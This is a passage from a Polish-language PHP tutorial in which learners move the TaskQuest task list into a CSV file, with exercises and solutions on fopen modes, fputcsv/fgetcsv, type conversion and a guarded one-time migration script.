<li><strong>po otwarciu</strong> sprawdzamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uchwyt === false</code>.</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!is_file($sciezka) || !is_readable($sciezka)) {
    // nie ma czego czytać
}</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Na tym etapie „reagowanie” oznacza po prostu zwrócenie pustego wyniku. Prawdziwą obsługę błędów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>) poznamy w Lekcji 12 — i wrócimy wtedy do tych funkcji.</p>
</blockquote>



<h2 class="wp-block-heading">3.3 Skróty dla prostych przypadków</h2>



<p class="wp-block-paragraph">PHP ma też funkcje, które robią wszystko jednym poleceniem:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Funkcja</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents($plik, $tekst)</code></td><td>zapisuje cały tekst (nadpisuje plik)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents($plik, $tekst, FILE_APPEND)</code></td><td>dopisuje tekst na końcu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents($plik)</code></td><td>zwraca całą zawartość jako jeden tekst</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file($plik)</code></td><td>zwraca zawartość jako tablicę linii</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink($plik)</code></td><td>usuwa plik</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Są wygodne przy krótkich tekstach (np. w testach). Dane TaskQuest odczytujemy jednak linia po linii i „rozbieramy” na pola, więc główną pracę wykonają <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> i spółka.</p>



<h2 class="wp-block-heading">3.4 CSV — tabela w pliku tekstowym</h2>



<p class="wp-block-paragraph"><strong>CSV</strong> to zwykły plik tekstowy, w którym jedna linia to jeden rekord, a pola oddzielone są separatorem. My użyjemy średnika <code class="prettyprint lang-sql" style="font-size: 0.85em;">;</code> (tak robi polski Excel, a przecinek bywa w tekstach).</p>



<p class="wp-block-paragraph">PHP ma do tego dwie funkcje:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv($uchwyt, $tablica, ';', '"', '')</code> — zamienia tablicę w jedną linię CSV i zapisuje ją,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv($uchwyt, 0, ';', '"', '')</code> — czyta jedną linię CSV i zwraca ją jako tablicę pól (albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> na końcu pliku).</li>
</ul>



<p class="wp-block-paragraph">Wypróbuj w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$uchwyt = fopen(__DIR__ . '/gracze.csv', 'w');
fputcsv($uchwyt, &#91;'login', 'xp'], ';', '"', '');
fputcsv($uchwyt, &#91;'Kama_2026', 250], ';', '"', '');
fputcsv($uchwyt, &#91;'Ola Nowak', 120], ';', '"', '');
fclose($uchwyt);

$uchwyt = fopen(__DIR__ . '/gracze.csv', 'r');

echo "&lt;pre&gt;";
while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
    print_r($wiersz);
}
echo "&lt;/pre&gt;";

fclose($uchwyt);
</code></pre>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">gracze.csv</code> w edytorze. Zobaczysz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">login;xp
Kama_2026;250
"Ola Nowak";120
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na cudzysłowy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code> sam otacza nimi pola, które zawierają spacje, separator albo cudzysłów. Dzięki temu tytuł zadania w rodzaju <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ćwiczenia; DateTime</code> nie rozbije się na dwa pola.</p>



<p class="wp-block-paragraph"><strong>Po co te dwa ostatnie parametry (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'"', ''</code>)?</strong> To ogranicznik tekstu (cudzysłów) i tzw. znak ucieczki. Pusty znak ucieczki wyłącza stary, nietypowy mechanizm oparty na ukośniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">\</code>. Od PHP 8.4 samo pominięcie tego parametru wywołuje komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Deprecated</code>, więc podajemy go zawsze — najprościej skopiować całą końcówkę <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code>. Drugi parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>) oznacza „bez limitu długości linii”.</p>



<h2 class="wp-block-heading">3.5 Z pliku wraca wyłącznie tekst</h2>



<p class="wp-block-paragraph">Zauważ, co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>: <strong>każde</strong> pole jest tekstem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>). Liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">250</code> wraca jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">"250"</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> zapisane jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> wraca jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">"1"</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump("1" == 1);    // true  — luźne porównanie
var_dump("1" === 1);   // false — inny typ</code></pre>



<p class="wp-block-paragraph">Nasze funkcje z Lekcji 9 oczekują liczb i wartości logicznych, więc przy odczycie musimy je <strong>odtworzyć</strong>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole w pliku</th><th>Jak zamieniamy</th></tr></thead><tbody><tr><td>liczba (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $wiersz[0]</code></td></tr><tr><td>wartość logiczna (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4] === '1'</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) $wiersz[4]</code>? Bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) "0"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) "nie"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> — każdy niepusty tekst poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code> jest „prawdą”. Porównanie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code> jest jednoznaczne.</p>



<h3 class="wp-block-heading">Typowe błędy przy plikach</h3>



<ul class="wp-block-list">
<li>Zapis w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> do jedynej kopii ważnego pliku — dane znikają <strong>w momencie otwarcia</strong>, nawet jeśli potem nic nie zapiszesz.</li>



<li>Brak sprawdzenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== false</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>.</li>



<li>Edycja CSV w Excelu: program potrafi po zapisie zmienić format dat (<code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-09-20</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">20.09.2026</code>), separator i kodowanie. Pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> w tej lekcji edytujemy <strong>w edytorze kodu</strong> (zapis w UTF-8).</li>



<li>Ścieżka względna zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> — ten sam problem co w Lekcji 10.</li>



<li>Zapomniane <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>.</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code> (tryby <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>)</h1>



<p class="wp-block-paragraph">W nowym pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (zastąp poprzednią zawartość) napisz kod, który:</p>



<ol class="wp-block-list">
<li>otworzy <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code> w trybie <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code></strong> i zapisze linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Start TaskQuest</code>,</li>



<li>otworzy ten sam plik w trybie <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code></strong> i dopisze dwie linie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wczytano zadania</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Koniec</code>,</li>



<li>otworzy plik w trybie <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code></strong> i wypisze każdą linię z numerem.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt w przeglądarce:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. Start TaskQuest
2. Wczytano zadania
3. Koniec</code></pre>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code> w edytorze — mają być trzy linie. Odśwież stronę kilka razy: wynik nie powinien się zmieniać. Pomyśl, dlaczego.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Trzy razy powtarzasz ten sam schemat: <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> → praca → <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>. Zmienia się tylko tryb. Numer linii to zwykły licznik zwiększany w pętli.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik = __DIR__ . '/dziennik.txt';

$uchwyt = fopen($plik, '...');
fwrite($uchwyt, "...\n");
fclose($uchwyt);

// ... tryb a ...

// ... tryb r + while + fgets ...</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$plik = __DIR__ . '/dziennik.txt';

$uchwyt = fopen($plik, 'w');
fwrite($uchwyt, "Start TaskQuest\n");
fclose($uchwyt);

$uchwyt = fopen($plik, 'a');
fwrite($uchwyt, "Wczytano zadania\n");
fwrite($uchwyt, "Koniec\n");
fclose($uchwyt);

$uchwyt = fopen($plik, 'r');
$numer = 1;

while (($linia = fgets($uchwyt)) !== false) {
    echo $numer . ". " . trim($linia) . "&lt;br&gt;";
    $numer++;
}

fclose($uchwyt);</code></pre>
</details>



<p class="wp-block-paragraph">Odświeżanie nie zmienia wyniku, bo każde uruchomienie zaczyna od trybu <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>, który czyści plik.</p>



<h1 class="wp-block-heading">5. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki.csv</code> (CSV i typy)</h1>



<p class="wp-block-paragraph">W nowym pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> napisz kod, który:</p>



<ol class="wp-block-list">
<li>zapisze do <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki.csv</code> nagłówek <code class="prettyprint lang-sql" style="font-size: 0.85em;">id;nazwa;poziom</code> i trzy odznaki:<br /><code class="prettyprint lang-sql" style="font-size: 0.85em;">1 / Pierwszy krok / 1</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">2 / Mistrz; regexów / 2</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">3 / Legenda TaskQuest / 5</code>,</li>



<li>odczyta plik (pomijając nagłówek) i wypisze każdą odznakę w formie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nazwa — wymagany poziom N</code>,</li>



<li>policzy, ile odznak wymaga poziomu <strong>2 lub wyższego</strong>, i wypisze wynik.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt w przeglądarce:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Pierwszy krok — wymagany poziom 1
Mistrz; regexów — wymagany poziom 2
Legenda TaskQuest — wymagany poziom 5
Odznak od poziomu 2 wzwyż: 2</code></pre>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki.csv</code>. Nazwa ze średnikiem musi być w cudzysłowie, a mimo to w przeglądarce ma się wyświetlić jako jedno pole.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nagłówek pomijasz jednym dodatkowym wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> <strong>przed</strong> pętlą. Poziom z pliku jest tekstem — przed porównaniem z liczbą zamień go na <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaki = &#91;
    &#91;1, 'Pierwszy krok', 1],
    // ...
];

foreach ($odznaki as $odznaka) {
    fputcsv(...);
}

// przy odczycie:
if ((int) $wiersz&#91;2] &gt;= 2) { ... }</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$plik = __DIR__ . '/odznaki.csv';

$odznaki = &#91;
    &#91;1, 'Pierwszy krok', 1],
    &#91;2, 'Mistrz; regexów', 2],
    &#91;3, 'Legenda TaskQuest', 5]
];

$uchwyt = fopen($plik, 'w');
fputcsv($uchwyt, &#91;'id', 'nazwa', 'poziom'], ';', '"', '');

foreach ($odznaki as $odznaka) {
    fputcsv($uchwyt, $odznaka, ';', '"', '');
}

fclose($uchwyt);

$uchwyt = fopen($plik, 'r');
fgetcsv($uchwyt, 0, ';', '"', '');   // pomijamy nagłówek
$ileWyzszych = 0;

while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
    echo $wiersz&#91;1] . " — wymagany poziom " . $wiersz&#91;2] . "&lt;br&gt;";

    if ((int) $wiersz&#91;2] &gt;= 2) {
        $ileWyzszych++;
    }
}

fclose($uchwyt);

echo "Odznak od poziomu 2 wzwyż: $ileWyzszych";</code></pre>
</details>



<h1 class="wp-block-heading">6. Przenosimy zadania do pliku — krok po kroku</h1>



<p class="wp-block-paragraph">Mamy już wszystkie narzędzia. Kolejność jest ważna: najpierw nauczymy TaskQuest <strong>zapisywać</strong> zadania (dzięki temu nie przepisujemy pięciu zadań ręcznie), a potem <strong>odczytywać</strong>.</p>



<h2 class="wp-block-heading">Krok 1 — ścieżka do pliku w konfiguracji</h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">define('XP_NA_POZIOM', 100);</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">define('PLIK_ZADAN', dirname(__DIR__) . '/data/zadania.csv');</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> w tym pliku to katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">dirname()</code> (z Lekcji 10) daje katalog wyżej — główny katalog projektu. Ścieżkę zapisujemy w jednym miejscu, tak jak próg XP: zmiana nazwy pliku dotyczy jednej linii.</p>



<h2 class="wp-block-heading">Krok 2 — format pliku</h2>



<p class="wp-block-paragraph">Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> będzie miał <strong>nagłówek</strong> (żeby człowiek wiedział, co jest w której kolumnie) i po jednej linii na zadanie:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kolumna</th><th>Klucz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code></th><th>Typ</th><th>Jak odtwarzamy</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>bez zmian (surowy — czyści go <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> przy wyświetlaniu)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'opis'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>bez zmian</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> (RRRR-MM-DD)</td><td>bez zmian</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">=== '1'</code> (w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'xp'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kolejność kolumn w pliku jest umową — zapis i odczyt muszą się z nią zgadzać.</p>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code></h2>



<p class="wp-block-paragraph">Utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> (pierwsza linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>, bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>) i napisz w nim funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszZadania(string $sciezka, array $zadania): bool</code></pre>



<p class="wp-block-paragraph">Funkcja ma:</p>



<ol class="wp-block-list">
<li>otworzyć plik w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>; jeśli się nie da — zwrócić <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>,</li>



<li>zapisać wiersz nagłówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp</code>,</li>



<li>zapisać każde zadanie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> jako jeden wiersz (w kolejności kolumn z Kroku 2; <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>),</li>



<li>zamknąć plik i zwrócić <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Przechodzisz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> pętlą <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> — dokładnie tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code>. Wartość logiczną zamienisz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> operatorem warunkowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">? :</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszZadania(string $sciezka, array $zadania): bool
{
    $uchwyt = fopen($sciezka, '...');

    if ($uchwyt === false) {
        return false;
    }

    fputcsv($uchwyt, &#91;...nagłówek...], ';', '"', '');

    foreach ($zadania as $zadanie) {
        fputcsv($uchwyt, &#91;
            $zadanie&#91;'id'],
            // ... pozostałe klucze w kolejności kolumn ...
            $zadanie&#91;'wykonane'] ? 1 : 0,
            // ...
        ], ';', '"', '');
    }

    // zamknięcie i wynik
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje odczytu i zapisu plików z danymi TaskQuest (CSV, separator ;)

function zapiszZadania(string $sciezka, array $zadania): bool
{
    $uchwyt = fopen($sciezka, 'w');

    if ($uchwyt === false) {
        return false;
    }

    fputcsv($uchwyt, &#91;'id', 'tytul', 'opis', 'termin', 'wykonane', 'xp'], ';', '"', '');

    foreach ($zadania as $zadanie) {
        fputcsv($uchwyt, &#91;
            $zadanie&#91;'id'],
            $zadanie&#91;'tytul'],
            $zadanie&#91;'opis'],
            $zadanie&#91;'termin'],
            $zadanie&#91;'wykonane'] ? 1 : 0,
            $zadanie&#91;'xp']
        ], ';', '"', '');
    }

    fclose($uchwyt);

    return true;
}</code></pre>
</details>



<h2 class="wp-block-heading">Krok 4 — jednorazowa migracja</h2>



<p class="wp-block-paragraph">Stare zadania są jeszcze w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code>. Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> (w głównym katalogu projektu), który:</p>



<ol class="wp-block-list">
<li>dołączy <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> (przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code>),</li>



<li><strong>jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> już istnieje</strong> — wypisze komunikat, że nie nadpisuje pliku, i nic nie zapisze,</li>



<li>w przeciwnym razie zapisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code> i wypisze, ile zadań zapisano (albo komunikat o błędzie, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>).</li>
</ol>



<p class="wp-block-paragraph">Punkt 2 jest ważny: to skrypt, który <strong>kasuje dane</strong> (tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>). Gdyby ktoś uruchomił go drugi raz, po tym jak Kama zdążyła już poprawić zadania w CSV, jej zmiany zniknęłyby bez ostrzeżenia. Dobre narzędzie migracyjne samo chroni dane.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Jednorazowe narzędzie programisty: przepisuje zadania z data/zadania.php do data/zadania.csv

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/data/zadania.php';   // tu jeszcze jest tablica $zadania

if (is_file(PLIK_ZADAN)) {
    echo "&lt;p&gt;Plik zadania.csv już istnieje — nie nadpisuję go.&lt;/p&gt;";
} elseif (zapiszZadania(PLIK_ZADAN, $zadania)) {
    echo "&lt;p&gt;Zapisano " . count($zadania) . " zadań do pliku zadania.csv.&lt;/p&gt;";
} else {
    echo "&lt;p&gt;Nie udało się zapisać pliku.&lt;/p&gt;";
}
</code></pre>
</details>



<p class="wp-block-paragraph">Uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> <strong>raz</strong>. Powinieneś/powinnaś zobaczyć „Zapisano 5 zadań do pliku zadania.csv.”. Uruchom drugi raz — teraz ma się pojawić komunikat o nieprzepisywaniu pliku.</p>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> w edytorze kodu. Powinien wyglądać tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp
1;"   Nauczyć   się regexów   PHP   ";"Powtórzyć wyrażenia regularne przed następną lekcją.";2026-09-20;1;20
2;"Powtórzyć funkcje";"Przejrzeć wszystkie funkcje TaskQuest i sprawdzić ich parametry oraz typy zwracanych wartości.";2026-09-16;0;15
3;"Ćwiczenia z DateTime";"Napisać trzy własne przykłady z diff() i format().";2026-09-18;0;10
4;"Nauczyć się tablic PHP";"Zbudować listę zadań TaskQuest jako tablicę tablic asocjacyjnych.";2026-09-25;0;30
5;"Przygotować projekt do Lekcji 10";"Zastanowić się, jak podzielić TaskQuest na pliki i katalogi.";2026-09-22;1;25
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na tytuł pierwszego zadania — w pliku zostały spacje, które w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> były celowo „brudne”. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> nadal będzie miała co czyścić.</p>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code></h2>



<p class="wp-block-paragraph">Dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> (dwie puste linie odstępu, jak w pozostałych plikach), funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadania(string $sciezka): array</code></pre>



<p class="wp-block-paragraph">Funkcja ma:</p>



<ol class="wp-block-list">
<li>zwrócić <strong>pustą tablicę</strong>, jeśli plik nie jest plikiem albo nie da się go odczytać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>),</li>



<li>otworzyć plik w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code>; jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — zwrócić pustą tablicę,</li>



<li><strong>pominąć wiersz nagłówka</strong>,</li>



